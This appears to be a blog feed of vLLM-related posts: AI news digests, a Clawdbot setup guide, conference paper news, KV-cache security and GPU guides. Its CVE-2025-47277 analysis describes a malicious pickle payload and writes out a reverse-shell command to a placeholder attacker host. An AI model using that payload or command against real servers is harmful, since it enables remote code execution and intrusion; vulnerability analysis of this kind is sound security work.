xiaohack's Blog - vLLM
type: channel
link: https://blog.xiaohack.org/tag/vllm/
items: Qwen3-ASR 开源，支持 52 种语言和方言；AI 用户访谈 Trooly.AI 获近千万美元种子轮融资丨日报
items: 月之暗面发布 Kimi K2.5：升级原生多模态与并行智能体机制；首例「AI 幻觉」侵权案宣判：AI 承诺不具法律效力丨日报
items: Clawdbot 是什么，为什么这么火，如果部署需要什么条件， 4090 显卡是不是够的？
items: 【喜报】5篇研究成果被国际顶级会议NDSS 2026录用
items: KV-Cache：大语言模型推理加速的双刃剑—隐私风险与防御实战
items: vLLM pickle反序列化漏洞详细分析
items: vLLM 推理 GPU 选型指南：显存、KV Cache 与性能瓶颈全解析
items: vLLM高危远程代码执行漏洞分析（CVE-2025-62164）
items: vLLM PyNcclPipe pickle反序列化漏洞（CVE-2025-47277）分析

Qwen3-ASR 开源，支持 52 种语言和方言；AI 用户访谈 Trooly.AI 获近千万美元种子轮融资丨日报
type: item
date: 2026-01-31T14:27:32+08:00
description: 开发者朋友们大家好：这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。本期编辑：@瓒an、@鲍勃01 有话题的技术1、Qwen3-ASR 正式开源：包含三款模型，支持 52 种语言与方言Qwen 团队正式开源 Qwen3-ASR 系列，包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B，以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力，Qwen3-ASR 系列实现了精准且稳定的识别效果。其中，1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA，具备复杂文本识别能力及强噪声下的稳定性；0.6B 模型兼顾性能与效率，128 并发下吞吐量达 2000 倍（10 秒处理 5 小时音频）。两款模型均单模型支持 30 个语种及 22 个中文方言，支持流式/非流式一体化推理，最长可处理 20 分钟音频。Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐，精度超越 WhisperX 等主流模型，单并发推理 RTF 仅 0.0089。目前，全套模型权重、结构及支持 vLLM 的推理框架已全部开源。在模型效果评估方面，Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异：英文场景：不仅在公开基准上达到最优，在覆盖 16 个国家口音的内部测试集中，整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。多语种场景：最高支持 30 种语言，在 20 个主流语种上，1.7B 模型全面超越现有开源模型，取得最佳平均 WER。中文与方言场景：在普通话、粤语及 22 种地区方言上整体领先，尤其在方言识别上，相比 Doubao-ASR 平均错误率降低了 20%（15.94 vs 19.85）。复杂场景：面对老人/儿童语音、极低信噪比、鬼畜重复等挑战，仍能保持极低的字/词错误率；歌唱识别支持带 BGM 的整首歌中/英文转写。此外，该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡，无论离线或在线高并发场景，均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐，其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。目前，Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线，相关论文及阿里云百炼 API 也已同步发布。Github:https://github.com/QwenLM/Qwen3-ASRHuggingFace:https://huggingface.co/collections/Qwen/qwen3-asr识别结果：蹦出来之后，左手、右手接一个慢动作，右边再直接拉到这上面之后，直接拉到这个轮胎上，上边再接过去之后，然后上边再直接拉到这个位置了之后，右边再直接这个位置接倒过去的之后，再倒一下，然后右边再直接抓住这个上边了之后，直接从这边上边过去了之后，直接抓住这个树杈，然后这个位置直接倒到这个树杈。识别结果：拨号，请再说一次，请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正，不是九六。识别结果：Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.（@千问 Qwen）2、Google 推出 LiteRT 推断框架：深度集成 NPU，实现跨平台统一高性能部署Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI（GenAI）的架构演进，通过深度集成 NPU 加速和全新编排层，实现了跨 Android、i…

月之暗面发布 Kimi K2.5：升级原生多模态与并行智能体机制；首例「AI 幻觉」侵权案宣判：AI 承诺不具法律效力丨日报
type: item
date: 2026-01-30T00:42:34+08:00
description: 开发者朋友们大家好：这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。本期编辑：@瓒an、@鲍勃01 有话题的技术1、月之暗面推出最强开源 Agent 模型 Kimi K2.5昨天，月之暗面正式面向公众推出旗舰大模型最新版本「Kimi K2.5」，在视觉、多模态理解、代码生成与智能体能力方面实现全面升级。据介绍，Kimi K2.5 采用原生多模态架构，支持文本、图像与视频输入，能够执行图像分析、视频解析、视觉编程等任务。官方展示内容显示，模型可根据平面图生成 3D 模型、从视频重建网页界面，并在图像推理任务中实现更高精度的路径规划与视觉调试能力。在智能体方向，K2.5 引入全新的「Agent Swarm」并行智能体机制，可在无需预设子代理的情况下自动生成并调度多达 100 个子代理，执行最多 1500 次工具调用。官方称，这一机制可在复杂任务中将执行效率提升至最高 4.5 倍，显著降低长链路任务的延迟。此次更新以静默方式推送，用户在官网原有的 K2 模型已自动切换至 K2.5。同时，Kimi 官网还将此前推出的「OK Computer」模式更新为「Agent」模式，切换到此模式后可执行更多步骤的复杂任务。Kimi.com 与 Kimi App 现已支持 K2.5 的四种模式，分别为「快速」、「思考」、「Agent」与「Agent 集群（Beta）」。Hugging Face:https://huggingface.co/moonshotai/Kimi-K2.5技术文档：https://www.kimi.com/blog/kimi-k2-5.html( @APPSO)2、首例「AI 幻觉」侵权案宣判：AI 承诺不具法律效力据红星新闻报道，杭州互联网法院近日对国内首例因「AI 幻觉」引发的侵权纠纷作出一审判决，明确生成式人工智能在输出内容中作出的「承诺」不构成平台的意思表示，同时厘清了 AI 服务提供者在现阶段应承担的注意义务边界。案件起因于去年 6 月。原告梁某在使用一款 AI 平台查询高校报考信息时，收到关于某高校主校区的错误描述。其指出错误后，AI 不仅坚持错误信息，还生成了「如果生成内容有误，我将赔偿您 10 万元，您可前往杭州互联网法院起诉」的表述。梁某随后提供官方招生信息，AI 才承认内容不准确。梁某认为 AI 的错误信息造成误导，且 AI 已作出赔偿承诺，遂起诉平台研发公司并索赔 9999 元。法院审理认为，人工智能不具备民事主体资格，不能作出意思表示，其生成的「赔偿承诺」也不能视为服务提供者的意思表示。法院从四方面说明理由：AI 不能作为意思表示的传达人或代理人；平台并未通过 AI 设定或传达意思表示；一般社会观念不足以让用户对随机生成的承诺产生合理信赖；无证据显示平台愿意受 AI 生成内容约束。关于归责原则，法院指出生成式人工智能服务属于「服务」范畴，而非产品质量法意义上的「产品」，不适用无过错责任原则，而应适用民法典第一千一百六十五条的一般过错责任原则。法院强调，AI 输出内容通常不具备高度危险性，服务提供者对生成内容也不具备充分预见与控制能力，若采用无过错责任将不当加重企业负担，不利于产业发展。在具体责任认定上，法院从侵权构成要件逐一审查：原告主张的损害属于纯粹经济利益受损，需从平台是否违反注意义务判断其行为是否违法。经查，平台已在界面显著位置提示功能局限，并采用检索增强生成等技术，法院认定其已尽到合理注意义务，主观上不存在过错。此外，原告未能提供因错误信息导致实际损害的证据。法院依据相当因果关系标准认为，AI 的不准确信息并未实质影响其报考决策，二者之间不存在因果关系。最终，法院认定被告不构成侵权，驳回原告诉讼请求。原、被告均未上诉，判决已生效。( @APPSO)3、DeepSeek-OCR-2 上线，性能大幅提升昨天，深度求索 DeepSeek 正式推出新一代文档解析模型「DeepSeek-OCR 2」，核心升级来自全新的视觉编码器架构 DeepEncoder V2。该模型以「视觉因果流」为设计理念，通过在视觉编码阶段引入类 LLM 的因果推理机制，实现「更接近人类阅读逻辑」的图像理解能力。在实际表现上，DeepSeek-OCR 2 在 OmniDocBench v1.5 基准测试中取得 91.09% 的整体得分，相比上一代 DeepSeek-OCR 提升 3.73%，并在阅读顺序（R-order）等关键指标上显著降低编辑距离（ED），显示其在复杂文档布局理解上的优…

Clawdbot 是什么，为什么这么火，如果部署需要什么条件， 4090 显卡是不是够的？
type: item
date: 2026-01-26T10:00:54+08:00
description: Clawdbot 详解Clawdbot 是什么？Clawdbot 是一个开源的个人 AI 助手，你可以运行在自己的设备上。它通过你已有的通讯渠道与你交流： WhatsApp, Telegram, Slack, Discord Google Chat, Signal, iMessage, Microsoft Teams 语音交互（ macOS/iOS/Android ） WebChat 界面 核心特点 特性 说明 本地优先 数据完全由你控制，不需要依赖云服务 多平台支持 macOS, Linux, Windows (WSL2), Raspberry Pi 多 Agent 系统 可以运行多个隔离的 AI 代理 浏览器控制 自动控制 Chrome/Chromium 浏览器 Canvas AI 驱动的可视化工作区 语音唤醒 持续语音对话功能 技能扩展 可安装/自定义技能插件 为什么这么火？ 原因 说明 隐私优先 本地运行，数据不泄露 功能强大 集成浏览器控制、文件操作、多平台通讯 完全开源 MIT 许可证，社区活跃 部署灵活 从树莓派到云服务器都能跑 Claude 深度集成 优先推荐使用 Claude Opus 4.5 AI Agent 体验 让 AI 真正"干活"，不只是聊天 部署需求硬件需求（官方） 配置 最低要求 推荐配置 RAM 512MB - 1GB 2GB+ CPU 1 核 2 核+ 磁盘 ~500MB 更多（日志/媒体） 网络 稳定互联网 24/7 在线 软件需求 组件 要求 Node.js ≥22 系统 macOS, Linux, Windows (WSL2) 4090 显卡够吗？结论：4090 完全足够，甚至有点"杀鸡用牛刀"为什么？Clawdbot 本身不需要显卡运行 LLM。它是一个网关/控制层，实际的 AI 推理通过 API 调用完成（如 Anthropic API 、OpenAI API ）。4090 的使用场景如果你想让 Clawdbot 使用本地 LLM 模型（不调用云端 API ），4090 可以用来运行： Ollama 本地模型 vLLM 推理服务 其他本地推理框架 部署选项┌─────────────────────────────────────────────────────────┐ │ 你的 4090 机器 │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Clawdbot │────│ Ollama/ │────│ 本地 LLM │ │ │ │ (网关) │ │ vLLM │ │ (4090 推理) │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ │ │ └───────────────────────┬───────────────────┘ │ │ ▼ │ │ 或使用云端 API (Claude/OpenAI) │ └─────────────────────────────────────────────────────────┘ 推荐配置方案 A：纯 API 模式（最简单） Clawdbot 直接调用 Claude/OpenAI API 不需要本地 GPU 4090 可以用于其他任务 方案 B：混合模式（推荐） 4090 运行本地模型（ Ollama + Qwen/Llama 等） Clawdbot 配置使用本地推理端点 省钱 + 隐私 方案 C：轻量本地模型 使用量化模型（如 Qwen-7B-Int4 ） 4090 可以同时跑多个实例 快速开始# 安装 Clawdbot npm install -g clawdbot@latest # 运行向导 clawdbot onboard --install-daemon # 启动网关 clawdbot gateway --port 18789 Sources Clawdbot GitHub Clawdbot 官方文档 How to Set Up Clawdbot - Medium Clawdbot on Railway

【喜报】5篇研究成果被国际顶级会议NDSS 2026录用
type: item
date: 2026-01-25T00:16:25+08:00
description: 近日，国际顶级学术会议 NDSS 2026（Network and Distributed System Security Symposium）公布录用结果，奇安信技术研究院合作完成的5篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用，充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。1. 大语言模型（LLM）推理服务框架中的缓存安全问题第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作，论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和曲海鹏教授（中国海洋大学），其他作者为陈国强（奇安信星图实验室），谷雅聪（清华大学）。这项研究聚焦于大语言模型（LLM）推理服务框架中的安全威胁，深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。这项工作揭示了上述机制中严重的安全隐患：攻击者可利用这些漏洞操纵模型输出，实施数据投毒，甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷，并提出了针对性的修复方案。目前，相关漏洞已被厂商确认并修复，因此获得了 3 个 CVE 漏洞编号，为提升 LLM 基础设施的安全性做出了实质性贡献。2. npm 生态漏洞传播影响分析第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》，作者为蒲应元（奇安信星图实验室）、应凌云（奇安信星图实验室）和谷雅聪（清华大学）。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法，结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。npm作为全球最大的开源软件生态，其错综复杂的依赖关系使得漏洞极易在供应链中传播，给软件安全带来巨大隐患。现有的包级别软件成分分析（SCA）工具普遍存在严重的误报问题，无法区分漏洞代码是否真实被调用，同时现有的函数级分析工具在面对大规模生态时，往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题，我们设计开发了 VulTracer，一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析，多次复用”的模块化分析模式，通过对每一个 npm 包构建不可变的富语义图（RSG）、提取形式化接口以及按需组合合成技术，成功解决了大规模静态分析中的性能与精度挑战。同时，VulTracer基于全量npm生态（覆盖3400万个npm 包版本，超 9 亿条依赖关系）进行了迄今为止最大规模的函数级漏洞影响实证研究。实验结果表明，该工具在调用图构建上达到了0.905的F1分数（SOTA），相比npm audit降低了94%的误报率；同时研究结果进一步揭示，现有包级别分析工具产生的警报中 68.28% 均为“噪声”（即漏洞代码不可达），且真实的漏洞传播往往随依赖层级加深而迅速衰减。该工作为缓解开发者的警报疲劳提供了切实可行的技术路径，使安全修复工作能聚焦于真实存在的威胁。3.JavaScript脚本的自动化反混淆第三篇论文是由奇安信技术研究院和北京邮电大学合作完成的关于JavaScript反混淆的工作。论文题目为《From Obfuscated to Obvious: A Comprehensive JavaScript Deobfuscation Tool for Security Analysis》，这项工作由北京邮电大学和奇安信联合培养的卓越工程师计划博士研究生周董超在奇安信技术研究院联培期间主导完成，导师为应凌云博士（奇安信星图实验室）和王东滨教授（北京邮电大学），参与该项工作的还有柴华君（奇安信星图实验室）。这篇论文也是我们继PowerPeeler (CCS 2024)和Invoke-Deobfuscation (DSN 2022)之后的又一项脚本反混淆工作。JavaScript作为互联网核心脚本语言的广泛应用，使其成为恶意攻击者的重要载体。攻击者利用复杂的代码混淆技术隐藏恶意行为，给安全分析带来严峻挑战。现有反混淆工具普遍存在处理复杂样本能力有限、仅支持特定混淆类型、输出代码难以阅读等关键局限。为解决这…

KV-Cache：大语言模型推理加速的双刃剑—隐私风险与防御实战
type: item
date: 2026-01-24T19:40:27+08:00
description: 0x01 研究背景在自回归生成模型（Autoregressive Model）中，LLM每生成一个新token，都会将此前生成的序列作为输入。若每一步都重新计算全部注意力（Q、K、V 矩阵），计算量将随序列长度平方级增长。在长上下文和高并发场景下，这一开销会迅速成为系统瓶颈。为此，主流推理框架普遍引入KV-Cache技术。 KV-Cache通过缓存此前token的Key（K）和Value（V）向量，在下一步生成时只需计算新的Query（Q），即可直接复用前面的K/V，从而显著降低重复计算量。实践中，KV-Cache 通常能在保持模型精度不变的前提下，带来约5-8倍的推理加速。这一机制已经成为vLLM、SGLang、DeepSpeed-Inference等高性能推理引擎，以及Hugging Face generate(use_cache=True)接口的默认能力。随着2024–2025年多租户推理服务（如vLLM、SGLang、TensorRT-LLM）的大规模部署，系统在单模型、多租户共享的前提下，又进一步引入跨请求的前缀缓存共享（prefix caching）。当不同请求的prompt存在相同前缀时，系统可以直接复用已有KV-Cache，大幅摊薄Prefill成本并提升吞吐。然而，当这种共享与复用机制扩展到多租户并发环境时，KV-Cache不再只是一个“性能优化组件”，而是演变成新的攻击面：攻击者可以通过观测Prefill 时间、TTFT等性能差异发起时序侧信道攻击，通过篡改缓存内容实施History Swapping（生成轨迹劫持），或者通过对Key向量注入扰动发动Cache Corruption（缓存腐败），从而导致跨租户信息泄露、话题漂移甚至下游任务性能显著下降。0x02 KV缓存工作机制与共享复用原理下面是KV-Cache工作原理的示意图。​KV-Cache工作原理图​接下来我们用文字详细拆解，更深入了解KV缓存工作机制。2.1 两阶段推理：Prefill与DecodeKV-Cache的核心做法分为两阶段。(1)Prefill阶段（Prompt阶段）一次性计算输入序列的K/V并写入缓存 模型读取完整输入的prompt，计算出所有token的Key/Value向量并写入缓存。 公式表示为：此时缓存中的K/V向量构成了后续生成阶段的基础。(2)Decode阶段（生成阶段）仅对新token计算Q/K/V，并复用历史K/V完成注意力计算 当模型生成新token时，仅需计算该token对应的Q、K、V向量。然后与缓存中已有的K/V拼接，直接完成注意力计算。这样便避免了重复计算前面N−1个token的注意力结果。2.2 past_key_values在Hugging Face Transformers框架中，KV-Cache在接口层面通过 past_key_values 对象实现。该对象并非一个抽象的控制开关，而是模型前向推理过程中实际生成、并可跨生成步骤复用的中间状态。它以分层的结构保存已处理历史Token的Key和Value张量，从而支撑自回归生成的增量计算。从结构上看，past_key_values通常是一个长度为模型层数的列表或元组，其中每一层对应一对 (K, V)张量。不同模型的具体维度布局可能存在差异，但其核心语义一致：存储历史序列的注意力键值表示，以便后续生成时直接复用。在推理流程中，Prefill 阶段会对完整的提示词进行计算，并首次生成past_key_values。进入Decode阶段后，若将此缓存作为输入传递给模型，模型通常只需为新输入的Token计算其对应的Key和Value，并将其追加至现有缓存末尾，从而避免了历史部分的重复计算。这种基于past_key_values的复用是框架的原生机制，其带来的加速直接源于注意力计算的真实削减，因此更适合作为评估系统性能及分析相关安全影响的工程基准。相比之下，通过sleep()或人为插桩制造“快慢差异”的方法仅能模拟现象，难以反映实际推理系统的缓存行为。此外，Transformers框架的generate()接口通常通过参数use_cache=True来启用此缓存机制。vLLM、SGLang、DeepSpeed-Inference在系统层面也普遍实现了类似机制，以降低生成延迟并提升吞吐量。2.3 多租户场景下的前缀缓存与最长前缀匹配在多请求并发且显存资源受限的推理服务中，为提升吞吐并降低重复的Prefill开销，系统常采用前缀缓存策略。其核心思想是当新请求的提示词（更准确地说是其Token序列）与某条已缓存的序列存在前缀重合时，系统可直接复用该前缀部分对应的KV-Cache，仅需对未命中的后续Token执行增量计算。当缓存池中存在多个可能的候选前缀时，命中判定通常遵…

vLLM pickle反序列化漏洞详细分析
type: item
date: 2026-01-24T18:13:56+08:00
description: 漏洞描述CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行（RCE）漏洞，源于其使用PyNcclPipe模块时，未经验证地反序列化来自网络的数据，攻击者可通过构造恶意 pickle 数据包，在服务器端执行任意代码。该漏洞严重性等级为 Critical。影响范围条件说明影响版本vLLM >= 0.6.5 且 < 0.8.5影响模块VLLMEngineV0引擎中启用的PyNcclPipeKV 缓存传输机制受影响部署模式多节点分布式部署，KV 节点暴露在公网或未限制访问不受影响使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署漏洞环境搭建可以在本地搭建一个复现环境：●Python ≥ 3.8●vLLM == 0.8.3（或受影响版本）●PyTorch​代码解读​PyNcclPipe：vLLM 的分布式 KV 缓存传输模块，用于节点之间传输 tensor 数据。KVTransferConfig：用于配置 KV 缓存传输参数，例如端口、IP、rank 等​kv_ip：本地监听 IP，接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地（攻击时需开放公网 IP）。kv_port：网络监听端口（服务端口），攻击者通过该端口发送恶意数据。kv_rank：当前节点在分布式系统中的编号，0 表示主节点。kv_parallel_size：并行传输的节点数量，这里设为 1，表示单连接通信。kv_buffer_size：每次接收 tensor 的 buffer 大小。kv_buffer_device：buffer 存储设备，设为 "cpu" 表示张量数据缓存在 CPU 上。​创建一个 PyNcclPipe 对象，它封装了底层 TCP 通信逻辑，用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。​这是漏洞的触发点！recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。漏洞分析成因点描述不安全反序列化recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化，无身份校验或数据校验。网络暴露配置缺陷PyTorch 的TCPStore默认监听0.0.0.0，vLLM 用户配置--kv-ip也未能强制绑定私有 IP。内网信任假设过强vLLM 设计默认内网环境可信，缺乏防御恶意内部节点或入侵者横向移动的保护措施。在pynccl_pipe.py中调用了recv_obj()方法而recv_obj()方法中刚好对传入的字符串进行pickle反序列化漏洞复现攻击脚本代码分段解读：这里引入 StatelessProcessGroup，这是 vLLM 中用于节点间通信的一个工具类，封装了 TCP 通信逻辑。这是攻击的核心：__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',))，反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令，例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。这行代码创建了一个客户端通信节点：host：目标服务监听地址（本地测试用 127.0.0.1），port：目标服务监听端口（通常为服务端的 KV 服务端口），rank：当前通信节点的编号（1 表示攻击节点），world_size：分布式训练的总节点数（2 表示 2 个节点通信）这个接口实际上是将攻击者作为一个“合法”节点加入通信组。通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时，会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__()，间接调用 os.system('whoami')。运行后，目标机器会执行whoami命令，在实战环境下可以反弹shell漏洞修复vLLM 在 0.8.5 版本中已修复此漏洞：修复内容：● 强制TCPStore使用指定私有地址进行绑定（防止监听所有接口）● 改进通信逻辑，防止未经校验的pickle.loads被直接调用防护建议：●升级 vLLM 至 ≥ 0.8.5● 使用防火墙阻止来自不受信任源的连接（如仅允许 10.x 或 192.168.x IP）● 切换到 V1 引擎，其不使用该模块● 使用安全消息格式（如 JSON、protobuf），禁止pickle用于跨网络通信参考文章●github.com…

vLLM 推理 GPU 选型指南：显存、KV Cache 与性能瓶颈全解析
type: item
date: 2026-01-23T17:48:17+08:00
description: 为 vLLM 推理有效规划 GPU 规模并进行合理配置，首先需要清晰理解大语言模型处理的两个基本阶段——Prefill（预填充）和 Decode（解码），以及这两个阶段对硬件提出的不同需求。本指南深入剖析了 vLLM 运行时行为的内部机制，阐明了内存需求、量化和张量并行等核心概念，并提供了将 GPU 选型与实际工作负载相匹配的实用策略。通过探究这些因素之间的相互作用，您将能够准确预判性能瓶颈，并在 GPU 基础设施上部署大型语言模型时，做出明智且具有成本效益的决策。vLLM 运行时行为剖析：预填充阶段 vs 解码阶段预填充阶段（"读取"阶段）这是任何请求的第一步。vLLM 接收整个输入提示（用户查询 + 系统提示 + 任何 RAG 上下文），并以高度并行的方式一次性处理所有内容。​过程​：模型"读取"上下文，并用该上下文的数学表示填充键值（KV）缓存。​瓶颈​：由于并行处理数千个令牌，此阶段几乎总是受限于内存带宽。速度上限取决于 GPU 将巨大的权重矩阵从显存移动到计算核心的速度。有关 GPU 性能特性的更多信息，请参阅我们的 GPU 性能优化指南。​实际影响​：这决定了首 Token 延迟（Time-To-First-Token）。如果要总结一个长达 10 万 Token 的庞大文档，预填充阶段就是让用户在第一个词出现前等待的原因。解码阶段（"写入"阶段）预填充完成后，vLLM 进入自回归循环以生成输出。​过程​：模型生成一个 Token，将其附加到序列中，然后再次运行整个模型以生成下一个 Token。对于单个请求而言，这本质上是串行的。​挑战​：仅为了计算单个用户的一个 Token 而从显存加载庞大的模型权重是极其低效的；GPU 在移动数据上花费的时间比计算还多。​解决方案（连续批处理​​）​：为了解决这个问题，像 vLLM 这样的现代引擎不会逐个处理请求。相反，它们使用连续批处理。请求动态地进入和离开批处理批次。vLLM 在同一个 GPU 周期内，将新请求的预填充操作与进行中请求的解码步骤交错进行。​瓶颈​：当有效进行批处理时，此阶段变为​计算受限​（受原始 TFLOPS 限制），因为目标是尽可能多地并行处理 Token 计算，以最大化总体吞吐量。预填充阶段与解码阶段的对比​主要瓶颈​：预填充阶段为内存带宽，解码阶段为计算能力。​衡量指标​：预填充影响​首 Token 延迟​，解码影响​吞吐量​。​并行性​：预填充阶段针对单个请求具有高并行性；解码阶段对单个请求是顺序的，但通过跨请求的连续批处理实现并行。将阶段与工作负载及硬件关联了解哪个阶段在您的工作负载中占主导地位，对于选择合适的硬件至关重要。运行时阶段主要操作主要硬件约束主要用例场景预填充阶段并行处理长输入。​内存带宽​（TB/s）（对快速 TTFT 至关重要）• RAG• 长文档摘要 • 大规模少样本提示解码阶段顺序生成输出。​计算能力​（TFLOPS）（对快速 Token 生成至关重要）• 交互式聊天与客服 • 实时代码生成 • 多轮智能体工作流运行时的 ​KV​​ Cache在推理过程中，vLLM 高度依赖 KV Cache，用来避免重复计算已经完成的工作。工作机制在 Transformer 中，每个 token 都会在注意力层内被转换为 Key（K） 和 Value（V） 向量。 如果没有缓存机制，模型在生成第 t+1 个 token 时，就必须重新处理整个历史序列（token 0 … t）。解决方案：KV CacheKV Cache 的作用正是把这些已经计算过的 K / V 向量保存下来并重复利用。Prefill 阶段： vLLM 会一次性为所有输入提示词计算 K / V，并立即写入缓存。Decode 阶段：每生成一个新 token，只需从缓存中读取历史 K / V，并仅为这个新 token 计算新的 K / V。带来的收益这种机制将注意力计算：从近似二次复杂度（为了写下每一个字，都要把整本书重新读一遍）转变为线性复杂度（只需要写下下一个字）代价：动态内存增长性能提升的代价是 ​显存占用​。每生成一个新 token，KV Cache 中都会追加新的条目。运行时，KV Cache 的使用量会随着以下因素动态增长：Prompt 长度与输出长度对话越长，占用的 VRAM 越多。​并发请求数（Concurrency每一个活跃请求都需要自己独立的一份 KV Cache。模型规模模型越深（层数越多）、越宽（注意力头越多），​每个 token 所需的缓存就越大​。这正是为什么人们经常说，使用同一个模型的两个工作负载，可能对硬件的需求却天差地别。例如：一个 70B 模型 本身也许能放进单张 GPU，但如果在长对话中 KV Cache 持续膨胀，服务器仍然可能因为 ​显存​…

vLLM pickle反序列化漏洞详细分析
type: item
date: 2026-01-23T17:23:30+08:00

vLLM高危远程代码执行漏洞分析（CVE-2025-62164）
type: item
date: 2026-01-23T17:09:25+08:00

vLLM PyNcclPipe pickle反序列化漏洞（CVE-2025-47277）分析
type: item
date: 2026-01-20T10:25:00+08:00